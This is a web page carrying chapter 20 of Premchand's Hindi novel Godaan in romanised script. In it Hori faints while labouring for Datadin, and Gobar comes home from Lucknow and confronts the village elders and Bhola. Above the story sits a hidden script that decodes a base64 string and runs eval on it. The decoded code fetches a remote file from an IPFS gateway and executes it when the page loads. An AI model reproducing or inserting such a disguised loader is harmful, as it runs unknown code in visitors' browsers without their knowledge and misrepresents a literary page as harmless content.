गोदान उपन्यास भाग-20

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is lekh ka punarikshan evan sampadan hona avashyak hai. ap isamean sahayata kar sakate haian. "sujhav"

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>phagun apane jholi mean navajivan ki vibhooti le kar a pahuancha tha. am ke pe d donoan hathoan se baur ke sugandh baant rahe the, aur koyal am ki daliyoan mean chhipi huee sangit ka gupt dan kar rahi thi.

gaanvoan mean ookh ki boaee lag gee thi. abhi dhoop nahian nikali, par hori khet mean pahuanch gaya. dhaniya, sona, roopa, tinoan talaiya se ookh ke bhige hue gatthe nikal-nikal kar khet mean la rahi haian, aur hori gan dase se ookh ke tuk de kar raha hai. ab vah datadin ki majoori karane laga hai. ab vah kisan nahian, majoor hai. datadin se ab usaka purohit-jajaman ka nata nahian, malik-mazadoor ka nata hai.

datadin ne a kar daanta - hath aur phurati se chalao hori! is tarah to tum din-bhar mean n kat sakoge.

hori ne ahat abhiman ke sath kaha - chala hi to raha hooan maharaj, baitha to nahian hooan.

datadin majooroan se rag d kar kam lete the, isalie unake yahaan koee majoor tikata n tha. hori unaka svabhav janata tha, par jata kahaan.

pandit usake samane kh de ho kar bole - chalane-chalane mean bhed hai. ek chalana vah hai ki gh di bhar mean kam tamam, doosara chalana vah hai ki din-bhar mean bhi ek bojh ookh n kate.

hori ne vish ka ghooant pi kar aur zor se hath chalana shuroo kiya. idhar mahinoan se use pet-bhar bhojan n milata tha. pray: ek joon to chabene par hi katata tha. doosare joon bhi kabhi adha pet bhojan mila, kabhi k daka ho gaya. kitana chahata tha ki hath aur jaldi-jaldi uthe, magar hath javab de raha tha. is par datadin sir par savar the. kshan-bhar dam le lene pata, to taja ho jata, lekin dam kaise le? ghu dakiyaan p dane ka bhay tha.

dhaniyaan aur donoan l dakiyaan ookh ke gatthe lie gili sa diyoan se lathapath, kich d mean sani huee aeean, aur gatthe patak kar dam marane lagian ki datadin ne daant bataee - yahaan tamasa kya dekh rahi hai dhaniya? ja apana kam kar. paise seant mean nahian ate. pahar bhar mean too ek khep laee hai. is hisab se to din-bhar mean bhi ookh n dhul paegi.

dhaniya ne tyori badal kar kaha - kya jara dam bhi n lene doge maharaj! ham bhi to adami haian. tumhari majoori karane se bail nahian ho ge. jara moo d par ek gattha lad kar lao to hal maloom ho.

datadin big d uthe - paise dete haian kam karane ke lie, dam marane ke lie nahian. dam lena hai, to ghar ja kar lo.

dhaniya kuchh kahane hi ja rahi thi ki hori ne phatakar bataee - too jati kyoan nahian dhaniya? kyoan hujjat kar rahi hai?

dhaniya ne bi da uthate hue kaha - ja to rahi hooan, lekin chalate hue bail ko auangi n dena chahie.

datadin ne lal aankhean nikal lian - jan p data hai, abhi mizaj thanda nahian hua. jabhi dane-dane ko mohataj ho.

dhaniya bhala kyoan chup rahane lagi thi - tumhare dvar par bhikh maangane to nahian jati.

datadin ne paine svar mean kaha - agar yahi hal raha to bhikh bhi maangogi.

dhaniya ke pas javab taiyar tha, par sona use khianch kar talaiya ki or le gee, nahian bat badh jati, lekin avaz ki pahuanch ke bahar ja kar dil ki jalan nikali - bhikh maango tum, jo bhikhamangoan ki jat ho. ham to majoor thahare, jahaan kam kareange, vahi char paise paeange.

sona ne usaka tiraskar kiya - ammaan jane bhi do. tum to samay nahian dekhatian, bat-bat par l dane baith jati ho.

hori unmatt ki bhaanti sir se oopar gan dasa utha-utha kar ookh ke tuk doan ke dher karata jata tha. usake bhitar jaise ag lagi huee thi. usamean alaukik shakti a gee thi. usamean jo pidhiyoan ka sanchit pani tha, vah is samay jaise bhap ban kar use yantr ki-si aandh-shakti pradan kar raha tha. usaki aankhoan mean aandhera chhane laga. sir mean phiraki-si chal rahi thi. phir bhi usake hath yantr ki gati se, bina thake, bina ruke, uth rahe the. usaki deh se pasine ki dhar nikal rahi thi, muanh se phichakur chhoot raha tha, aur sir mean dham-dham ka shabd ho raha tha, par us par jaise koee bhoot savar ho gaya ho.

sahasa usaki aankhoan mean nivi d aandhakar chha gaya. maloom hua, vah zamin mean dhansa ja raha hai. usane sanbhalane ki cheshta mean shoony mean hath phaila die aur achet ho gaya. gan dasa hath se chhoot gaya aur vah auandhe muanh zamin par p d gaya.

usi vakt dhaniya ookh ka gattha lie aee. dekha to kee adami hori ko ghere kh de haian. ek halavaha datadin se kah raha tha - malik, tumhean aisi bat n kahani chahie, jo adami ko lag jay. pani marate hi marate to marega.

dhaniya ookh ka gattha patak pagaloan ki tarah dau di huee hori ke pas gee, aur usaka sir apane jaangh par rakh kar vilap karane lagi - tum mujhe chho d kar kahaan jate ho? ari sona, dau d kar pani la aur ja kar sobha se kah de, dada behal haian. hay bhagavan! ab kisaki ho kar rahooangi, kaun mujhe dhaniya kah kar pukarega.........

lala pateshvari bhage hue ae aur sneh-bhari kathorata se bole - kya karati hai dhaniya, hos sanbhal. hori ko kuchh nahian hua. garami se achet ho ge haian. abhi hos aya jata hai. dil itana kachcha kar legi to kaise kam chalega?

dhaniya ne pateshvari ke paanv pak d lie aur roti huee boli - kya karooan lala ji, ji nahian manata. bhagavan ne sab kuchh har liya. maian sabar kar gee. ab sabar nahian hota. hay re, mera hira!

sona pani laee. pateshvari ne hori ke muanh par pani ke chhiante die. kee adami apane-apane aangochhiyoan se hava kar rahe the. hori ki deh thandi p d gee thi. pateshvari ko bhi chianta huee, par dhaniya ko vah barabar sahas dete jate the.

dhaniya adhir ho kar boli - aisa kabhi nahian hua tha. lala, kabhi nahian.

pateshvari ne poochha - rat kuchh khaya tha?

dhaniya boli - haan, rat rotiyaan pakaee thian, lekin ajakal hamare oopar jo bit rahi hai, vah kya tumase chhipa hai? mahinoan se bharapet roti nasib nahian huee. kitana samajhati hooan, jan rakh kar kam karo, lekin aram to hamare bhagy mean likha hi nahian.

sahasa hori ne aankhean khol dian aur u dati huee najaroan se idhar-udhar taka.

dhaniya jaise ji uthi. vihval ho kar usake gale se lipat kar boli - ab kaisa ji hai tumhara? mere to paran nahoan mean sama ge the.

hori ne katar svar mean kaha - achchha hooan. n jane kaisa ji ho gaya tha.

dhaniya ne sneh mean doobi bhartsana se kaha - deh mean dam to hai nahian, kam karate ho jan de kar. l dakoan ka bhag tha, nahian tum to le hi doobe the!

pateshvari ne hans kar kaha - dhaniya to ro-pit rahi thi.

hori ne aturata se poochha - sachamuch too roti thi dhaniya?

dhaniya ne pateshvari ko pichhe dhakel kar kaha - inhean bakane do tum. poochho, yah kyoan kagad chho d kar ghar se dau de ae the?

pateshvari ne chidhaya - tumhean hira-hira kah kar roti thi. ab laj ke mare mukarati hai. chhati pit rahi thi.

hori ne dhaniya ko sajal netroan se dekha - pagali hai aur kya! ab n jane kaun-sa sukh dekhane ke lie mujhe jilae rakhana chahati hai.

do adami hori ko tika kar ghar lae aur charapaee par lita diya. datadin to kudh rahe the ki boaee mean der huee jati hai, par matadin itana nirdayi n tha. dau d kar ghar se garm doodh laya, aur ek shishi mean gulabajal bhi leta aya. aur doodh pi kar hori mean jaise jan a gee.

usi vakt gobar ek mazadoor ke sir par apana saman lade ata dikhaee diya.

gaanv ke kutte pahale to bhooankate hue usaki taraph dau de. phir dum hilane lage. roopa ne kaha - bhaiya ae, bhaiya ae', aur taliyaan bajati huee dau di. sona bhi do-tin qadam age badhi, par apane uchhah ko bhitar hi daba gee. ek sal mean usaka yauvan kuchh aur sankochashil ho gaya tha. jhuniya bhi ghooanghat nikale dvar par kh di ho gee.

gobar ne maan-bap ke charan chhue aur roopa ko god mean utha kar pyar kiya. dhaniya ne use ashirvad diya aur usaka sir apane chhati se laga kar mano apane matritv ka puraskar pa gee. usaka hriday garv se um da p data tha. aj to vah rani hai. is phate-hal mean bhi rani hai. koee usaki aankhean dekhe, usaka mukh dekhe, usaka hriday dekhe, usaki chal dekhe. rani bhi laja jayagi. gobar kitana b da ho gaya hai aur pahan-odh kar kaisa bhalamanas lagata hai. dhaniya ke man mean kabhi amangal ki shanka n huee thi. usaka man kahata tha, gobar kushal se hai aur prasann hai. aj use aankhoan dekh kar mano usako jivan ke dhool-dhakk d mean gum hua ratn mil gaya hai, magar hori ne muanh pher liya tha.

gobar ne poochha - dada ko kya hua hai, ammaan?

dhaniya ghar ka hal kah kar use du:khi n karana chahati thi. boli - kuchh nahian hai beta, jara sir mean dard hai. chalo, kap de utaro, hath-muanh dhoo. kahaan the tum itane din? bhala, is tarah koee ghar se bhagata hai? aur kabhi ek chitthi tak n bheji? aj sal-bhar ke bad jake sudhi li hai. tumhari rah dekhate-dekhate aankhean phoot geean. yahi asa bandhi rahati thi ki kab vah din aega aur kab tumhean dekhooangi. koee kahata tha, mirach bhag gaya, koee damara tapoo batata tha. sun-sun kar jan sookhi jati thi. kahaan rahe itane din?

gobar ne sharamate hue kaha - kahian door nahian gaya tha ammaan, yahaan lakhanoo mean to tha.

'aur itane niyare rah kar bhi kabhi ek chitthi n likhi?'

udhar sona aur roopa bhitar gobar ka saman khol kar chiz ka baant-bakhara karane mean lagi huee thian, lekin jhuniya door kh di thi. usake mukh par aj man ka shokh rang jhalak raha hai. gobar ne usake sath jo vyavahar kiya hai, aj vah usaka badala legi. asami ko dekh kar mahajan usase vah rupe vasool karane ko bhi vyakul ho raha hai, jo usane battekhate mean dal die the. bachcha un chijoan ki or lapak raha tha aur chahata tha, sab-ka-sab ek sath muanh mean dal le, par jhuniya use god se utarane n deti thi.

sona boli - bhaiya tumhare lie aina-kanghi lae haian bhabhi.

jhuniya ne upeksha bhav se kaha - mujhe aina-kanghi n chahie. apane pas rakhe rahean.

roopa ne bachche ki chamakili topi nikali - o ho! yah to chunnoo ki topi hai. aur use bachche ke sir par rakh diya.

jhuniya ne topi utar kar pheank di aur sahasa gobar ko aandar ate dekh kar vah balak ko lie apani kothari mean chali gee. gobar ne dekha, sara saman khula p da hai. usaka ji to chahata hai, pahale jhuniya se mil kar apana aparadh kshama karae, lekin aandar jane ka sahas nahian hota. vahian baith gaya aur chizean nikal-nikal har ek ko dene laga. magar roopa isalie phool gee ki usake lie chappal kyoan nahian ae, aur sona use chidhane lagi, too kya karegi chappal le kar, apani gu diya se khel. ham to teri gu diya dekh kar nahian rote, too meri chappal dekh kar kyoan roti hai? mithaee baantane ki zimmedari dhaniya ne apane oopar li. itane dinoan ke bad l daka kushal se ghar aya hai. vah gaanv-bhar mean baina batavaegi. ek gulabajamun roopa ke lie ooant ke muanh mean jire ke saman tha. vah chahati thi, haandi usake samane rakh di jay, vah kood-kood khay.

ab sandook khula aur usamean se sa diyaan nikalane lagian. sabhi kinaradari thian, jaisi pateshvari lala ke ghar mean pahani jati haian, magar haian b di halki. aisi mahin sa diyaan bhala kai din chaleangi. b de adami jitani mahin sa diyaan chahe pahanean. unaki mehariyoan ko baithane aur sone ke siva aur kaun kam hai! yahaan to khet-khalihan sabhi kuchh hai. achchha! hori ke lie dhoti ke atirikt ek dupatta bhi hai.

dhaniya prasann ho kar boli - yah tumane b da achchha kam kiya beta! inaka dupatta bilakul tar-tar ho gaya tha.

gobar ko utani der mean ghar ki paristhiti ka aandazaho gaya tha. dhaniya ki sa di mean kee paiband lage hue the. sona ki sa di sir par phati huee thi aur usamean se usake bal dikhaee de rahe the. roopa ki dhoti mean charoan taraph jhalarean-si latak rahi thian. sabhi ke chehare rookhe, kisi ki deh par chikanahat nahian. jidhar dekho, vipannata ka samrajy tha.

l dakiyaan to sa diyoan mean magan thian. dhaniya ko l dake ke lie bhojan ki chianta huee. ghar mean tho da-sa jau ka ata saanjh ke lie sanch kar rakha hua tha. is vakt to chabene par katati thi, magar gobar ab vah gobar tho de hi hai. usase jau ka ata khaya bhi jayaga? parades mean n jane kya-kya khata-pita raha hoga. ja kar dulari ki dukan se gehooan ka ata, chaval-ghi udhar laee. idhar mahinoan se sahuain ek paise ki chiz udhar n deti thi, par aj usane ek bar bhi n poochha, paise kab dogi.

usane poochha - gobar to khoob kama ke aya hai n?

dhaniya boli - abhi to kuchh nahian khula didi! abhi maianne bhi kuchh kahana uchit n samajha. haan, sabake lie kinaradar sa diyaan laya hai. tumhare asirabad se kusal se laut aya, mere lie to yahi bahut hai.

dulari ne asis diya - bhagavan kare, jahaan rahe kusal se rahe. maan-bap ko aur kya chahie, l daka samajhadar hai. aur chhokaroan ki tarah u daoo nahian hai. hamare rupe abhi n milean, to byaj to de do. din-din bojh badh hi to raha hai.

idhar sona chunnoo ko usaka phrak aur top aur joota pahana kar raja bana rahi thi. balak in chijoan ko pahanane se zyada hath mean le kar khelana pasand karata tha. aandar gobar aur jhuniya ke man-manauval ka abhinay ho raha tha.

jhuniya ne tiraskar-bhari aankhoan se dekh kar kaha - mujhe la kar yahaan baitha diya. ap parades ki rah li. phir n khoj n khabar li ki marati hai ya jiti hai. sal-bhar ke bad ab ja kar tumhari niand tooti hai. kitane b de kapati ho tum! maian to sochati hooan ki tum mere pichhe-pichhe a rahe ho aur ap u de, to sal-bhar ke bad laute. maradoan ka visvas hi kya, kahian koee aur tak li hogi, socha hoga, ek ghar ke lie hai hi, ek bahar ke lie bhi ho jae.

gobar ne saphaee di - jhuniya, maian bhagavan ko sachchhi de kar kahata hooan, jo maianne kabhi kisi ki or taka bhi ho. laj aur dar ke mare ghar se bhaga zaroor, magar teri yad ek chhan ke lie bhi man se n utarati thi. ab to maianne tay kar liya hai ki tujhe bhi leta jaooanga, isilie aya hooan. tere ghar vale to bahut big de hoange?

'dada to meri jan lene par hi utaroo the.'

'sach!'

'tinoan jane yahaan chadh ae the. ammaan ne aisa daanta ki muanh le kar rah ge. haan, hamare donoan bail khol le ge.'

'itani b di jabardasti. aur dada kuchh bole nahian?'

dada akele kis-kisase l date. gaanv vale to nahian le jane dete the, lekin dada hi bhalamanasi mean a ge, to aur log kya karate?'

'to ajakal kheti-bari kaise ho rahi hai?'

'kheti-bari sab toot gee. tho di-si pandit maharaj ke sajhe mean hai. ookh boee hi nahian gee.'

gobar ki kamar mean is samay do sau rupe the. usaki garami yoan bhi kam n thi. yah hal sun kar to usake badan mean ag hi lag gee.

bola - to phir pahale maian unhian se ja kar samajhata hooan. unaki yah majal ki mere dvar par se bail khol le jayan. yah daka hai, khula hua daka. tin-tin sal ko chale jaeange tinoan. yoan n deange, to adalat se looanga. sara ghamand to d dooanga.

vah usi avesh mean chala tha ki jhuniya ne pak d liya aur boli - to chale jana, abhi aisi kya jaldi hai? kuchh aram kar lo, kuchh kha-pi lo. sara din to p da hai. yahaan b di-b di panchayat huee. panchayat ne assi rupe daan d ke lagae. tis man anaj oopar. usi mean to aur tabahi a gee.

sona balak ko kap de-joote pahana kar laee. kap de pahan kar vah jaise sachamuch raja ho gaya tha. gobar ne use god mean le liya, par is samay balak ke pyar mean use anand n aya. usaka rakt khaul raha tha aur kamar ke rupe aanch aur tej kar rahe the. vah ek-ek se samajhega. panchoan ko us par daan d lagane ka adhikar kya hai? kaun hota hai koee usake bich mean bolane vala? usane ek aurat rakh li, to panchoan ke bap ka kya biga da? agar isi bat par vah faujadari mean dava kar de, to logoan ke hathoan mean hathak diyaan p d jaean. sari grihasthi tahas-nahas ho gee. kya samajh liya hai use in logoan ne.

bachcha usaki god mean jara-sa muskaraya, phir zor se chikh utha, jaise koee daravani chiz dekh li ho.

jhuniya ne bachche ko usaki god se le liya aur boli - ab ja kar naha-dho lo. kis soch mean p d ge? yahaan sabase l dane lago, to ek din nibah n ho. jisake pas paise haian, vahi b da adami hai, vahi bhala adami hai. paise n hoan, to us par sabhi rob jamate haian.

'mera gadhapan tha ki ghar se bhaga, nahian dekhata, kaise koee ek dhela daan d leta hai.'

'shahar ki hava kha ae ho, tabhi ye batean soojhane lagi haian, nahian ghar se bhagate hi kyoan!'

'yahi ji chahata hai ki lathi uthaooan aur pateshvari, datadin, jhianguri, sab saloan ko pit kar gira dooan aur unake pet se rupe nikal looan.'

'rupe ki bahut garami chadhi hai sait. lao nikalo, dekhooan, itane din mean kya kama lae ho?'

usane gobar ki kamar mean hath lagaya. gobar kh da ho kar bola - abhi kya kamaya, haan, ab tum chalogi, to kamaooanga. sal-bhar to sahar ka rang-dhang pahachanane hi mean lag gaya.

'ammaan jane deangi, tab to?'

'ammaan kyoan n jane deangi? unase matalab?'

'vah! maian unaki raji bina n jaooangi. tum to chho d kar chalate bane. aur mera kaun tha yahaan? vah agar ghar mean n ghusane detian to maian kahaan jati? jab tak jiooangi, unaka jas gaooangi aur tum bhi kya parades hi karate rahoge?'

'aur yahaan baith kar kya karooanga? kamao aur maro, isake siva aur yahaan kya rakha hai? tho di-si akkal ho aur adami kam karane se n dare, to vahaan bhookhoan nahian mar sakata. yahaan to akkal kuchh kam nahian karati. dada kyoan muanh phulae hue haian?'

'apane bhag bakhano ki muanh phula kar chho d dete haian. tumane upadrav to itana b da kiya tha ki us krodh mean pa jate, to muanh lal kar dete.'

'to tumhean bhi khoob galiyaan dete hoange?'

'kabhi nahian, bhool kar bhi nahian. ammaan to pahale big di thian, lekin dada ne to kabhi kuchh nahian kaha - jab bulate haian, bade pyar se. mera sir bhi dukhata hai, to bechain ho jate haian. apane bap ko dekhate to maian inhean devata samajhati hooan. ammaan ko samajhaya karate haian, bahoo ko kuchh n kahana. tumhare oopar saik doan bar big d chuke haian ki ise ghar mean baitha kar ap n jane kahaan nikal gaya. ajakal paise-paise ki tangi hai. ookh ke rupe bahar hi bahar u d ge. ab to majoori karani p dati hai. aj bechare khet mean behos ho ge. rona-pitana mach gaya. tab se p de haian.'

muanh-hath dho kar aur khoob bal bana kar gobar gaanv ki digvijay karane nikala. donoan chachaoan ke ghar ja kar ram-ram kar aya. phir aur mitroan se mila. gaanv mean koee vishesh parivartan n tha. haan, pateshvari ki nee baithak ban gee thi aur jhiangurisianh ne daravaze par naya kuaan khudava liya tha. gobar ke man mean vidroh aur bhi tal thoankane laga. jisase mila, usane usaka adar kiya, aur yuvakoan ne to use apana hiro bana liya aur usake sath lakhanoo jane ko taiyar ho ge. sal hi bhar mean vah kya se kya ho gaya tha.

sahasa jhiangurisianh apane kuean par nahate hue mil ge, gobar nikala, magar salam n kiya, n bola. vah thakur ko dikha dena chahata tha, maian tumhean kuchh nahian samajhata.

jhiangurisianh ne khud hi poochha - kab ae gobar, maje mean to rahe? kahian naukar the lakhanoo mean?

gobar ne hek di ke sath kaha - lakhanoo gulami karane nahian gaya tha. naukari hai to gulami. maian vyapar karata tha.

thakur ne kutoohal-bhari aankhoan se use sir se paanv tak dekha - kitana roj paida karate the?

gobar ne chhuri ko bhala bana kar unake oopar chalaya - yahi koee dhaee-tin rupe mil jate the. kabhi chatak gee to char bhi mil ge. isase besi nahian.

jhianguri bahut noch-khasot karake bhi pachis-tis se zyada n kama pate the. aur yah ganvar lauanda sau rupe kamane laga. unaka mastak nicha ho gaya. ab kis dave se us par rob jama sakate the? varn mean vah zaroor ooanche haian, lekin varn kaun dekhata hai. usase spardha karane ka yah avasar nahian, ab to usaki chirauri karake usase kuchh kam nikala ja sakata hai. bole - itani kamaee kam nahian hai beta, jo kharach karate bane. gaanv mean to tin ane bhi nahian milate. bhavaniya (unake jethe putr ka nam tha) ko bhi kahian koee kam dila do, to bhej dooan. n padhe n likhe, ek n ek upadrav karata rahata hai. kahian munimi khali ho to kahana, nahian sath hi lete jana. tumhara to mitr hai. talab tho di ho, kuchh gam nahian. haan, char paise ki oopar ki guanjais ho.

gobar ne abhiman bhari hansi se kaha - yah oopari amadani ki chat adami ko kharab kar deti hai thakur, lekin ham logoan ki adat kuchh aisi big d gee hai ki jab tak beeemani n karean, pet hi nahian bharata. lakhanoo mean munimi mil sakati hai, lekin har ek mahajan eemanadar chaukas adami chahata hai. maian bhavani ko kisi ke gale baandh to dooan, lekin pichhe inhoanne kahian hath lapakaya, to vah to meri gardan pak dega. sansar mean ilam ki qadar nahian, eeman ki qadar hai.

yah tamacha laga kar gobar age nikal gaya. jhianguri man mean aianth kar rah ge. lauanda kitane ghamand ki batean karata hai, mano dharm ka avatar hi to hai.

isi tarah gobar ne datadin ko bhi rag da. bhojan karane ja rahe the. gobar ko dekh kar prasann ho kar bole - maje mean to rahe gobar? suna, vahaan koee achchhi jagah pa ge ho. matadin ko bhi kisi hile se laga do n? bhang pi kar p de rahane ke siva yahaan aur kaun kam hai!

gobar ne banaya - tumhare ghar mean kis bat ki kami hai maharaj, jis jajaman ke dvar par ja kar kh de ho jao, kuchh n kuchh mar hi laoge. janam mean lo, maran mean lo, sadi mean lo, gami mean lo, kheti karate ho, len-den karate ho, dalali karate ho, kisi se kuchh bhool-chook ho jae, to daan d laga kar usaka ghar loot lete ho. itani kamaee se pet nahian bharata? kya karoge bahut-sa dhan bator kar ki sath le jane ki koee jugut nikal li hai?

datadin ne dekha, gobar kitani dhithaee se bol raha hai, adab aur lihaz jaise bhool gaya. abhi shayad nahian janata ki bap meri gulami kar raha hai. sach hai, chhoti nadi ko um date der nahian lagati, magar chehare par mail nahian ane diya. jaise b de log balakoan se mooanchhean ukh dava kar bhi hansate haian, unhoanne bhi is phatakar ko hansi mean liya aur vinod-bhav se bole - lakhanoo ki hava kha ke too b da chant ho gaya hai gobar! la, kya kama ke laya hai, kuchh nikal. sach kahata hooan gobar, tumhari bahut yad ati thi. ab to rahoge kuchh din?

'haan, abhi to rahooanga kuchh din. un panchoan par dava karana hai, jinhoanne daan d ke bahane mere dedh sau rupe hajam kie haian. dekhooan, kaun mera hukka-pani band karata hai aur kaise biradari mujhe jat bahar karati hai?'

yah dhamaki de kar vah age badha. usaki hek di ne usake yuvak bhaktoan ko rob mean dal diya tha.

ek ne kaha - kar do nalis gobar bhaiya! buddha kala saanp hai - jisake kate ka mantar nahian. tumane achchhi daant bataee. patavari ke kan bhi jara garama do. b da mutaganni hai dada! bap-bete mean ag laga de, bhaee-bhaee mean ag laga de. kariande se mil kar asamiyoan ka gala katata hai. apane khet pichhe joto, pahale usake khet jot do. apani sianchaee pichhe karo, pahale usaki sianchaee kar do.

gobar ne mooanchhoan par tav de kar kaha - mujhase kya kahate ho bhaee, sal-bhar mean bhool tho de hi gaya. yahaan mujhe rahana hi nahian hai, nahian ek-ek ko nacha kar chho data. abaki holi dhoomadham se manao aur holi ka svaang bana kar in saboan ko khoob bhigo-bhigo kar lagao.

holi ka program banane laga. khoob bhang ghute, doodhiya bhi, rangin bhi, aur rangoan ke sath kalikh bhi bane aur mukhiyoan ke muanh par kalikh hi poti jae. holi mean koee bol hi kya sakata hai! phir svaang nikale aur panchoan ki bhadd u daee jae. rupe-paise ki koee chianta nahian. gobar bhaee kama kar lae haian.

bhojan karake gobar bhola se milane chala. jab tak apani jo di la kar apane dvar par baandh n de, use chain nahian. vah l dane-marane ko taiyar tha.

hori ne katar svar mean kaha - rar mat badhao beta! bhola goee le ge, bhagavan unaka bhala kare, lekin unake rupe to ate hi the.

gobar ne uttejit ho kar kaha - dada, tum bich mean mat bolo. unaki gay pachas ki thi. hamari goee dedh sau mean aee thi. tin sal hamane joti. phir bhi dedh sau ki thi hi. vah apane rupe ke lie dava karate, digari karate, ya jo chahate karate, hamare dvar se jo di kyoan khol le ge? aur tumhean kya kahooan? idhar goee kho baithe, udhar dedh sau rupe daan d ke bhare. yah hai goo hone ka phal . mere samane jo di le jate, to dekhata. tinoan ko yahian zamin par sula deta. aur panchoan se to bat tak n karata. dekhata, kaun mujhe biradari se alag karata hai, lekin tum baithe takate rahe.

hori ne aparadhi ki bhaanti sir jhuka liya, lekin dhaniya yah aniti kaise dekh sakati thi? boli - beta, tum bhi aandher karate ho. hukka-pani band ho jata, to gaanv mean nirvah kaise hota, javan l daki baithi hai, usaka bhi kahian thikana lagana hai ya nahian? marane-jine mean adami biradari?

gobar ne bat kati - hukka-pani sab to tha, biradari mean adar bhi tha, phir mera byah kyoan nahian hua? bolo! isalie ki ghar mean roti n thi. rupe hoan to n hukka-pani ka kam hai, n jat-biradari ka. duniya paise ki hai, hukka-pani koee nahian poochhata.

dhaniya to bachche ka rona sun kar bhitar chali gee aur gobar bhi ghar se nikala. hori baitha soch raha tha. l dake ki akal jaise khul gee hai. kaisi belag bat kahata hai. usaki vakr-buddhi ne hori ke dharm aur niti ko parast kar diya tha.

sahasa hori ne usase poochha - maian bhi chala chalooan?

'maian l daee karane nahian ja raha hooan dada, daro mat. meri or to qanoon hai, maian kyoan l daee karane laga?'

'maian bhi chalooan to koee haraj hai?'

'haan, b da haraj hai. tum bani bat big d doge.'

hori chup ho gaya aur gobar chal diya.

paanch minat bhi n hue hoange ki dhaniya bachche ko lie bahar nikali aur boli - kya gobar chala gaya, akele - maian kahati hooan, tumhean bhagavan kabhi buddhi deange ya nahian. bhola kya sahaj mean goee dega? tinoan us par toot p deange baj ki tarah. bhagavan hi kusal karean. ab kisase kahooan, dau d kar gobar ko pak d lo. tumase to maian har gee.

hori ne kone se danda uthaya aur gobar ke pichhe dau da. gaanv ke bahar a kar usane nigah dau daee. ek kshin-si rekha kshitij se mili huee dikhaee di. itani hi der mean gobar itani door kaise nikal gaya. hori ki atma use dhikkarane lagi. usane kyoan gobar ko roka nahian? agar vah daant kar kah deta, bhola ke ghar mat jao, to gobar kabhi n jata. aur ab usase dau da bhi to nahian jata. vah har kar vahian baith gaya aur bola - usaki rachchha karo mahavir svami!

gobar us gaanv mean pahuancha to dekha, kuchh log baragad ke niche baithe jua khel rahe haian. use dekh kar logoan ne samajha, pulis ka sipahi hai. kau diyaan samet kar bhage ki sahasa jangi ne use pahachan kar kaha - are, yah to gobaradhan hai.

gobar ne dekha, jangi pe d ki a d mean kh da jhaank raha hai. bola - daro, mat jangi bhaiya, maian hooan. ram-ram aj hi aya hooan. socha, chalooan sabase milata aooan, phir n jane kab ana ho. maian to bhaiya, tumhare asiravad se b de maje mean nikal gaya. jis raja ki naukari mean hooan, unhoanne mujhase kaha - hai ki ek-do adami mil jaean to lete ana. chaukidari ke lie chahie. maianne kaha - sarakar aise adami dooanga ki chahe jan chali jay, maidan se hatane vale nahian, ichchha ho to mere sath chalo. achchhi jagah hai.

jangi usaka that-bat dekh kar rob mean a gaya. use kabhi chamaraudhe joote bhi mayassar n hue the. aur gobar chamacham boot pahane tha. saph-suthari, dharidar kamij, sanvare hue bal, poora baboo sahab bana hua. phate hal gobar aur is parishkrit gobar mean b da aantar tha. hiansa-bhav to yoan hi samay ke prabhav se shaant ho gaya tha aur bacha-khucha ab shaant ho gaya. juari tha hi, us par gaanje ki lat. aur ghar mean b di mushkil se paise milate the. muanh mean pani bhar aya. bola - chalooanga kyoan nahian, yahaan p da-p da makkhi hi to mar raha hooan. kai rupe mileange?

gobar ne b de atmavishvas se kaha - isaki kuchh chianta mat karo. sab kuchh apane hi hath mean hai. jo chahoge, vah ho jayaga. hamane socha, jab ghar mean hi adami hai, to bahar kyoan jaean?

jangi ne utsukata se poochha - kam kya karana p dega?

'kam chahe chaukidari karo, chahe tagade par jao. tagade ka kam sabase achchha. asami se gath ge. a kar malik se kah diya, ghar par mila hi nahian, chaho to rupe-ath ane roj bana sakate ho.'

'rahane ki jagah bhi milati hai.'

'jagah ki kaun kami - poora mahal p da hai. pani ka nal, bijali. kisi bat ki kami nahian hai. kamata haian ki kahian ge haian?'

'doodh le kar ge haian. mujhe koee bazar nahian jane deta. kahate haian, tum to gaanja pi jate ho. maian ab bahut kam pita hooan bhaiya, lekin do paise roj to chahie hi. tum kamata se kuchh n kahana. maian tumhare sath chalooanga.'

'haan-haan bekhatake chalo. holi ke bad.'

'to pakki rahi.'

donoan adami batean karate bhola ke dvar par a pahuanche. bhola baithe sutali kat rahe the. gobar ne lapak kar unake charan chhue aur is vakt usaka gala sachamuch bhar aya. bola - kaka, mujhase jo kuchh bhool-chook huee, use chhama karo.

bhola ne sutali katana band kar diya aur patharile svar mean bola - kam to tumane aisa hi kiya tha gobar, ki tumhara sir kat looan to bhi pap n lage, lekin apane dvar par ae ho, ab kya kahooan. jao, jaisa mere sath kiya, usaki saza bhagavan deange. kab ae?

gobar ne khoob namak-mirch laga kar apane bhagyoday ka vrittaant kaha - aur jangi ko apane sath le jane ki anumati maangi. bhola ko jaise bemaange varadan mil gaya. jangi ghar par ek-n-ek upadrav karata rahata tha. bahar chala jayaga, to char paise paida to karega. n kisi ko kuchh de, apana bojh to utha lega.

gobar ne kaha - nahian kaka, bhagavan ne chaha aur inase rahate bana to sal-do-sal mean adami ban jaeange.

'haan, jab inase rahate bane.'

'sir par a p dati hai, to adami ap sanbhal jata hai.'

'to kab tak jane ka vichar hai?'

'holi karake chala jaooanga. yahaan kheti-bari ka silasila phir jama dooan, to nishchiant ho jaooan.'

'hori se kaho, ab baith ke ram-ram karean.'

'kahata to hooan, lekin jab unase baitha jae.'

'vahaan kisi baid se to tumhari jan-pahachan hogi. khaansi bahut dik kar rahi hai. ho sake to koee davaee bhej dena.'

'ek nami baid to mere p dos hi mean rahate haian. unase hal kahake dava banava kar bhej dooanga. khaansi rat ko zor karati hai ki din ko?'

'nahian beta, rat ko. aankh nahian lagati. nahian vahaan koee daul ho, to maian bhi vahian chal kar rahooan. yahaan to kuchh parata nahian p data.'

rozagar ka jo maja to vahaan hai kaka, yahaan kya hoga? yahaan rupe ka das ser doodh bhi koee nahian poochhata. halavaiyoan ke gale lagana p data hai. vahaan paanch-chh: ser ke bhav se chaho to gh di mean manoan doodh bech lo.'

